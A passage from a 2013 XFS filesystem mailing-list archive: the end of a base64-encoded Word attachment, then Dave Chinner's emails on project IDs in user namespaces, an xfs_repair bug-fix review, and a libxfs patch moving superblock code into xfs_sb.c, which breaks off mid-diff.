jgAAAI8AAACQAAAAkQAAAJIAAACTAAAAlAAAAJUAAACWAAAAlwAAAJgAAACZAAAAmgAAAJsAAACc AAAAnQAAAJ4AAACfAAAAoAAAAKEAAACiAAAAowAAAKQAAAClAAAApgAAAKcAAACoAAAAqQAAAKoA AACrAAAArAAAAK0AAACuAAAArwAAALAAAACxAAAAsgAAALMAAAC0AAAAtQAAALYAAAC3AAAAuAAA ALkAAAC6AAAAuwAAALwAAAC9AAAAvgAAAL8AAADAAAAAwQAAAMIAAADDAAAAxAAAAMUAAADGAAAA xwAAAMgAAADJAAAAygAAAMsAAADMAAAAzQAAAM4AAADPAAAA0AAAANEAAADSAAAA0wAAANQAAADV AAAA1gAAANcAAADYAAAA2QAAANoAAADbAAAA3AAAAN0AAADeAAAA3wAAAOAAAADhAAAA4gAAAOMA AADkAAAA5QAAAOYAAADnAAAA6AAAAOkAAADqAAAA6wAAAOwAAADtAAAA7gAAAO8AAADwAAAA8QAA APIAAADzAAAA9AAAAPUAAAD2AAAA9wAAAPgAAAD5AAAA+gAAAPsAAAD8AAAA/QAAAP4AAAD/AAAA AAEAAAEBAAACAQAAAwEAAAQBAAAFAQAABgEAAAcBAAAIAQAACQEAAAoBAAALAQAADAEAAA0BAAAO AQAADwEAABABAAARAQAAEgEAABMBAAAUAQAAFQEAABYBAAAXAQAAGAEAABkBAAAaAQAAGwEAABwB AAAdAQAAHgEAAB8BAAAgAQAAIQEAACIBAAAjAQAAJAEAACUBAAAmAQAAJwEAACgBAAApAQAAKgEA ACsBAAAsAQAALQEAAC4BAAAvAQAAMAEAADEBAAAyAQAAMwEAADQBAAA1AQAANgEAADcBAAA4AQAA OQEAADoBAAA7AQAAPAEAAD0BAAA+AQAAPwEAAEABAABBAQAAQgEAAEMBAABEAQAARQEAAEYBAABH AQAASAEAAEkBAABKAQAASwEAAEwBAABNAQAATgEAAE8BAABQAQAAUQEAAFIBAABTAQAAVAEAAFUB AABWAQAAVwEAAFgBAABZAQAAWgEAAFsBAABcAQAAXQEAAF4BAABfAQAAYAEAAGEBAABiAQAAYwEA AGQBAABlAQAAZgEAAGcBAABoAQAAaQEAAGoBAABrAQAAbAEAAG0BAABuAQAAbwEAAHABAABxAQAA cgEAAHMBAAB0AQAAdQEAAHYBAAB3AQAAeAEAAHkBAAB6AQAAewEAAHwBAAB9AQAAfgEAAH8BAACA AQAAgQEAAIIBAACDAQAAhAEAAIUBAACGAQAAhwEAAIgBAACJAQAAigEAAIsBAACMAQAAjQEAAI4B AACPAQAAkAEAAJEBAACSAQAAkwEAAJQBAACVAQAAlgEAAJcBAACYAQAAmQEAAJoBAACbAQAAnAEA AJ0BAACeAQAAnwEAAKABAAChAQAAogEAAKMBAACkAQAApQEAAKYBAACnAQAAqAEAAKkBAACqAQAA qwEAAKwBAACtAQAArgEAAK8BAACwAQAAsQEAALIBAACzAQAAtAEAALUBAAC2AQAAtwEAALgBAAC5 AQAAugEAALsBAAC8AQAAvQEAAL4BAAC/AQAAwAEAAMEBAADCAQAAwwEAAMQBAADFAQAAxgEAAMcB AADIAQAAyQEAAMoBAADLAQAAzAEAAM0BAADOAQAAzwEAANABAADRAQAA0gEAANMBAADUAQAA1QEA ANYBAADXAQAA2AEAANkBAADaAQAA2wEAANwBAADdAQAA3gEAAN8BAADgAQAA4QEAAOIBAADjAQAA 5AEAAOUBAADmAQAA5wEAAOgBAADpAQAA6gEAAOsBAADsAQAA7QEAAO4BAADvAQAA8AEAAPEBAADy AQAA8wEAAPQBAAD1AQAA9gEAAPcBAAD4AQAA+QEAAPoBAAD7AQAA/AEAAP0BAAD+AQAA/wEAAAAC AAABAgAAAgIAAAMCAAAEAgAABQIAAAYCAAAHAgAACAIAAAkCAAAKAgAACwIAAAwCAAANAgAADgIA AA8CAAAQAgAAEQIAABICAAATAgAAFAIAABUCAAAWAgAAFwIAABgCAAAZAgAAGgIAABsCAAAcAgAA HQIAAB4CAAAfAgAAIAIAACECAAAiAgAAIwIAACQCAAAlAgAAJgIAACcCAAAoAgAAKQIAACoCAAAr AgAALAIAAC0CAAAuAgAALwIAADACAAAxAgAAMgIAADMCAAA0AgAANQIAADYCAAA3AgAAOAIAADkC AAA6AgAAOwIAADwCAAA9AgAAPgIAAD8CAABAAgAAQQIAAEICAABDAgAARAIAAEUCAABGAgAARwIA AEgCAABJAgAASgIAAEsCAABMAgAATQIAAE4CAABPAgAAUAIAAFECAABSAgAAUwIAAFQCAABVAgAA VgIAAFcCAABYAgAAWQIAAFoCAABbAgAAXAIAAF0CAABeAgAAXwIAAGACAABhAgAAYgIAAGMCAABk AgAAZQIAAGYCAABnAgAAaAIAAGkCAABqAgAAawIAAGwCAABtAgAAbgIAAG8CAABwAgAAcQIAAHIC AABzAgAAdAIAAHUCAAB2AgAAdwIAAHgCAAB5AgAAegIAAHsCAAB8AgAAfQIAAH4CAAB/AgAAgAIA AIECAACCAgAAgwIAAIQCAACFAgAAhgIAAIcCAACIAgAAiQIAAIoCAACLAgAAjAIAAI0CAACOAgAA jwIAAJACAACRAgAAkgIAAJMCAACUAgAAlQIAAJYCAACXAgAAmAIAAJkCAACaAgAAmwIAAJwCAACd AgAAngIAAJ8CAACgAgAAoQIAAKICAACjAgAApAIAAKUCAACmAgAApwIAAKgCAACpAgAAqgIAAKsC AACsAgAArQIAAK4CAACvAgAAsAIAALECAACyAgAAswIAALQCAAC1AgAAtgIAALcCAAC4AgAAuQIA ALoCAAC7AgAAvAIAAL0CAAC+AgAAvwIAAMACAADBAgAAwgIAAMMCAADEAgAAxQIAAMYCAADHAgAA yAIAAMkCAADKAgAAywIAAMwCAADNAgAAzgIAAM8CAADQAgAA0QIAANICAADTAgAA1AIAANUCAADW AgAA1wIAANgCAADZAgAA2gIAANsCAADcAgAA3QIAAN4CAADfAgAA4AIAAOECAADiAgAA4wIAAOQC AADlAgAA5gIAAOcCAADoAgAA6QIAAOoCAADrAgAA7AIAAO0CAADuAgAA7wIAAPACAADxAgAA8gIA APMCAAD0AgAA9QIAAPYCAAD3AgAA+AIAAPkCAAD6AgAA+wIAAPwCAAD9AgAA/gIAAP8CAAAAAwAA AQMAAAIDAAADAwAABAMAAAUDAAAGAwAABwMAAAgDAAAJAwAACgMAAAsDAAAMAwAADQMAAA4DAAAP AwAAEAMAABEDAAASAwAAEwMAABQDAAAVAwAAFgMAABcDAAAYAwAAGQMAABoDAAAbAwAAHAMAAB0D AAAeAwAAHwMAACADAAAhAwAAIgMAACMDAAAkAwAAJQMAACYDAAAnAwAAKAMAACkDAAAqAwAAKwMA ACwDAAAtAwAALgMAAC8DAAAwAwAAMQMAADIDAAAzAwAANAMAADUDAAA2AwAANwMAADgDAAA5AwAA OgMAADsDAAA8AwAAPQMAAD4DAAA/AwAAQAMAAEEDAABCAwAAQwMAAEQDAABFAwAARgMAAEcDAABI AwAASQMAAEoDAABLAwAATAMAAE0DAABOAwAATwMAAFADAABRAwAAUgMAAFMDAABUAwAAVQMAAFYD AABXAwAAWAMAAFkDAABaAwAAWwMAAFwDAABdAwAAXgMAAF8DAABgAwAAYQMAAGIDAABjAwAAZAMA AGUDAABmAwAAZwMAAGgDAABpAwAAagMAAGsDAABsAwAAbQMAAG4DAABvAwAAcAMAAHEDAAByAwAA cwMAAHQDAAB1AwAAdgMAAHcDAAB4AwAAeQMAAHoDAAB7AwAAfAMAAH0DAAB+AwAAfwMAAIADAACB AwAAggMAAIMDAACEAwAAhQMAAIYDAACHAwAAiAMAAIkDAACKAwAAiwMAAIwDAACNAwAAjgMAAI8D AACQAwAAkQMAAJIDAACTAwAAlAMAAJUDAACWAwAAlwMAAJgDAACZAwAAmgMAAJsDAACcAwAAnQMA AJ4DAACfAwAAoAMAAKEDAACiAwAAowMAAKQDAAClAwAApgMAAKcDAACoAwAAqQMAAKoDAACrAwAA rAMAAK0DAACuAwAArwMAALADAACxAwAAsgMAALMDAAC0AwAAtQMAALYDAAD+////uAMAALkDAAC6 AwAAuwMAALwDAAC9AwAAvgMAAL8DAADAAwAAwQMAAMIDAADDAwAAxAMAAMUDAADGAwAAxwMAAMgD AADJAwAAygMAAMsDAADMAwAAzQMAAM4DAADPAwAA0AMAANEDAADSAwAA0wMAANQDAADVAwAA/v// /9cDAADYAwAA2QMAANoDAADbAwAA3AMAAN0DAADeAwAA3wMAAOADAADhAwAA4gMAAOMDAADkAwAA 5QMAAOYDAADnAwAA6AMAAOkDAADqAwAA/v///+wDAADtAwAA7gMAAO8DAADwAwAA8QMAAPIDAAD+ ////9AMAAPUDAAD2AwAA9wMAAPgDAAD5AwAA+gMAAP7////9/////f////3////9/////f////3/ ///9/////f////3///8FBAAABgQAAP7////+////CQQAAP7///////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////UgBv AG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAAAAAAAAAAAAAAEANyYiupzgEI BAAAAAMAAAAAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAACgACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAALcDAADePAAAAAAAADEAVABhAGIAbABlAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAIAAQAAAP//////////AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1gMAAPspAAAAAAAAVwBvAHIAZABEAG8AYwB1AG0A ZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoAAgEKAAAABQAA AP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+W0HAAAAAAAFAFMA dQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAKAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOsD AAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0 AGkAbwBuAAAAAAAAAAAAAAA4AAIBBAAAAP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA8wMAAAAQAAAAAAAATQBzAG8ARABhAHQAYQBTAHQAbwByAGUAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoAAQD//////////wcAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAMD6PWIrqc4BELBqYiupzgEAAAAAAAAAAAAAAABKANwAWgDRANkAwABBAMgAUgDE AFcAxgAwAMYA0QDJAEUAWgDWAFkAyQDAAD0APQAAAAAAAAAAAAAAAAAAAAAAMgABAf////////// CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwPo9YiupzgEQsGpiK6nOAQAAAAAAAAAAAAAAAEkAdABl AG0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAKAAIB/////wkAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANgAAAAAAAAAUAByAG8AcABlAHIAdABpAGUAcwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAABYAAgD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAEAAAAVQEAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAQIAAAAGAAAA/////wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////// ////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIA AAADAAAA/v///wUAAAAGAAAABwAAAAgAAAAJAAAA/v///wsAAAD+//////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////88YjpTb3Vy Y2VzIFNlbGVjdGVkU3R5bGU9IlxBUEEuWFNMIiBTdHlsZU5hbWU9IkFQQSIgeG1sbnM6Yj0iaHR0 cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURvY3VtZW50LzIwMDYvYmlibGlv Z3JhcGh5IiB4bWxucz0iaHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURv Y3VtZW50LzIwMDYvYmlibGlvZ3JhcGh5Ij48L2I6U291cmNlcz4AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgi IHN0YW5kYWxvbmU9Im5vIj8+DQo8ZHM6ZGF0YXN0b3JlSXRlbSBkczppdGVtSUQ9IntFNjcxQzYy Ny0yODAwLTQ1NDYtQTY2QS02QzY5MTE5RDk4QTZ9IiB4bWxuczpkcz0iaHR0cDovL3NjaGVtYXMu b3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURvY3VtZW50LzIwMDYvY3VzdG9tWG1sIj48ZHM6c2No ZW1hUmVmcz48ZHM6c2NoZW1hUmVmIGRzOnVyaT0iaHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1h dHMub3JnL29mZmljZURvY3VtZW50LzIwMDYvYmlibGlvZ3JhcGh5Ii8+PC9kczpzY2hlbWFSZWZz PjwvZHM6ZGF0YXN0b3JlSXRlbT4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARicAAABNaWNyb3NvZnQgT2ZmaWNlIFdv cmQgOTctMjAwMyBEb2N1bWVudAAKAAAATVNXb3JkRG9jABAAAABXb3JkLkRvY3VtZW50LjgA9Dmy cQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --=_cKqQjMieWo0f_EB1fcOcnQ2-- From david@fromorbit.com Mon Sep 9 19:42:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B057A7F5D for ; Mon, 9 Sep 2013 19:42:20 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8EA38304051 for ; Mon, 9 Sep 2013 17:42:17 -0700 (PDT) X-ASG-Debug-ID: 1378773735-04cbb02c3ae6f250001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id iWJind5F8jSOjFev for ; Mon, 09 Sep 2013 17:42:16 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMGADBqLlJ5Lapl/2dsb2JhbABbgweDSronhTeBJxd0giUBAQU6HCMQCAMYCSUPBSUDIRMbh2bDIxaOFweBNweEHQOXdIo1BIcugzIqgS0 Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Sep 2013 10:12:14 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJC1y-0004Mp-52; Tue, 10 Sep 2013 10:42:10 +1000 Date: Tue, 10 Sep 2013 10:42:10 +1000 From: Dave Chinner To: Gao feng Cc: bfoster@redhat.com, dwight.engen@oracle.com, ebiederm@xmission.com, xfs@oss.sgi.com Subject: Re: [PATCH 0/4] xfs: Allow user to change project id in un-init userns Message-ID: <20130910004210.GX12779@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/4] xfs: Allow user to change project id in un-init userns References: <1378276717-9663-1-git-send-email-gaofeng@cn.fujitsu.com> <20130906013033.GB23571@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130906013033.GB23571@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378773735 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140485 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Sep 06, 2013 at 11:30:33AM +1000, Dave Chinner wrote: > On Wed, Sep 04, 2013 at 02:38:33PM +0800, Gao feng wrote: > > This patchset add two helper functions to convert user space project id > > to kernel space project id without any struct changed. > > > > Since the projid_map of user namespace has limit the range of valid project > > ids for user namespace, we can safely allow user to change file's project > > id in un-init user namespace. > > This doesn't address any of the concerns about whether access to > project IDs are valid in a user namaspacee environment. > > Project IDs are not the same as UIDs and GIDs. They got included in > all the mapping stuff because of the fact that they are used for > quotas, but the fact is that they are not a property owned by a user > or a group or control access. > > IOWs, project IDs are an *accounting* construct rather than an > *access control mechanism* If project IDs are being used by the > system administrators for accounting the space used by a *mount > namespace* container, then they must not be modifiable by a user > in a user namespace. > > This is a fundamentally different use case from UID/GID mapping, > because there is no possible competing access for on-disk uid/gid > fields possible from the initns like there is for project quotas. > IOWs, project quota IDs are not owned by a namespace, and so mapping > them like we do for UID/GID is not clearly the right solution for > everyone. > > So, there's a bigger policy issue here that needs to be decided > first. i.e. whether project quotas and therefore project IDs should > be accessible to users inside a user namespace. > > If we decide to make it optional so that a system administrator can > chose whether project IDs are to be mapped via the userns mapping > infrastructure, then we need some kind of infrastructure to support > and enforce that first. BTW, if we are making project IDs mapped to userns, stuff like XFS_PROJID_DEFAULT and project ID inheritence need work as well... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 9 19:46:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 002797F5D for ; Mon, 9 Sep 2013 19:46:14 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DBFDE304051 for ; Mon, 9 Sep 2013 17:46:14 -0700 (PDT) X-ASG-Debug-ID: 1378773972-04cb6c2e9de7ecf0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id wGusZ37YrML5n7j0 for ; Mon, 09 Sep 2013 17:46:13 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMGAGZrLlJ5Lapl/2dsb2JhbABbgweDSronhTeBJxd0giUBAQUnExwjEAgDGAklDwUlAyETiAHDHxaOAoFTB4QdA5d0ijCHN4MyKoE1 Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Sep 2013 10:15:44 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJC5M-0004NS-1l; Tue, 10 Sep 2013 10:45:40 +1000 Date: Tue, 10 Sep 2013 10:45:40 +1000 From: Dave Chinner To: Eric Sandeen Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs_repair: test for bad level in dir2 node Message-ID: <20130910004539.GY12779@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52274F96.2010702@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378773972 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140485 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Sep 04, 2013 at 10:19:50AM -0500, Eric Sandeen wrote: > In traverse_int_dir2block(), the variable 'i' is the level in > the tree, with 0 being a leaf node. In the "do" loop we > start at the root, and work our way down to a leaf. > > If the first node we read is an interior node with NODE_MAGIC, > but it tells us that its level is 0 (a leaf), this is clearly > an inconsistency. > > Worse, we'd return with success, bno set, and only level[0] > in the cursor initialized. Then down this path we'll > segfault when accessing an uninitialized (and zeroed) member > of the cursor's level array: > > process_node_dir2 > traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd > process_leaf_level_dir2 > verify_dir2_path(mp, da_cursor, 0) // p_level == 0 > this_level = p_level + 1; > node = cursor->level[this_level].bp->b_addr; // level[1] uninit & 0'd > > Fix this by recognizing that an interior node w/ level 0 is invalid, and > error out as for other inconsistencies. > > Signed-off-by: Eric Sandeen > --- > > My only testcase for this is Jan Yves Brueckner's badly corrupted > filesystem image. With this change, we get i.e. : > > +bad level in interior inode for directory inode 39869938 > +corrupt block 6 in directory inode 39869957 > + will junk block > > diff --git a/repair/dir2.c b/repair/dir2.c > index 05bd4b7..20c6e1a 100644 > --- a/repair/dir2.c > +++ b/repair/dir2.c > @@ -220,6 +220,16 @@ _("bad record count in inode %" PRIu64 ", count = %d, max = %d\n"), > */ > if (i == -1) { > i = da_cursor->active = nodehdr.level; > + if (i == 0 && > + (nodehdr.magic == XFS_DA_NODE_MAGIC || > + nodehdr.magic == XFS_DA3_NODE_MAGIC)) { > + do_warn( > +_("bad level 0 in interior inode for directory inode %" PRIu64 "\n"), > + da_cursor->ino); > + libxfs_putbuf(bp); > + i = -1; > + goto error_out; > + } > if (i >= XFS_DA_NODE_MAXDEPTH) { > do_warn( > _("bad header depth for directory inode %" PRIu64 "\n"), Looks sane, though wouldn't it be better to check for the correct header magic number (i.e LEAF1/LEAFN) here? i.e. if we are at level zero and we don't have a leaf, then there's something wrong. This will only catch the case of a node replacing a leaf, not a free space block or data block being at the wrong place... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 9 20:02:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 754597F5D for ; Mon, 9 Sep 2013 20:02:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1A3E2304051 for ; Mon, 9 Sep 2013 18:02:52 -0700 (PDT) X-ASG-Debug-ID: 1378774965-04bdf02f22eb1a20001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id PaQmgfyY7Dfk445r for ; Mon, 09 Sep 2013 18:02:45 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArMGAB9vLlJ5Lapl/2dsb2JhbABbgweDSronhTeBJxd0giUBAQUaAQwTHA8UEAgYDCUPBSUDIRMZh2jDIRaOFweBNweEHQOXdIowhzeDMiqBLQEeBg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail06.adl6.internode.on.net with ESMTP; 10 Sep 2013 10:32:42 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJCLp-0004Py-9s; Tue, 10 Sep 2013 11:02:41 +1000 Date: Tue, 10 Sep 2013 11:02:41 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: [PATCH 31/55 V2] libxfs: switch over to xfs_sb.c and remove xfs_mount.c Message-ID: <20130910010241.GZ12779@dastard> X-ASG-Orig-Subj: [PATCH 31/55 V2] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> <522A4C79.1030200@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <522A4C79.1030200@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378774965 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140486 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- libxfs: switch over to xfs_sb.c and remove xfs_mount.c From: Dave Chinner Now that the kernel code has split the superblock specific code out of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c and remove xfs_mount.c Signed-off-by: Dave Chinner --- v2: fix missing pquota changes and other minor differences. include/Makefile | 1 - include/libxfs.h | 14 +- include/libxlog.h | 4 - include/xfs_mount.h | 372 --------------------------------------- include/xfs_sb.h | 26 +++ include/xfs_trace.h | 1 + libxfs/Makefile | 10 +- libxfs/init.c | 2 +- libxfs/xfs.h | 1 + libxfs/{xfs_mount.c => xfs_sb.c} | 289 ++++++++++++++++++------------ 10 files changed, 223 insertions(+), 497 deletions(-) diff --git a/include/Makefile b/include/Makefile index 6a4e521..45b8533 100644 --- a/include/Makefile +++ b/include/Makefile @@ -36,7 +36,6 @@ QAHFILES = libxfs.h libxlog.h \ xfs_log_format.h \ xfs_log_recover.h \ xfs_metadump.h \ - xfs_mount.h \ xfs_quota_defs.h \ xfs_sb.h \ xfs_trace.h \ diff --git a/include/libxfs.h b/include/libxfs.h index 51a2442..5422147 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -47,7 +47,6 @@ #include #include #include -#include #include #include #include @@ -323,6 +322,11 @@ enum xfs_buf_flags_t { /* b_flags bits */ #define xfs_buf_set_ref(bp,ref) ((void) 0) #define xfs_buf_ioerror(bp,err) (bp)->b_error = (err); +#define xfs_daddr_to_agno(mp,d) \ + 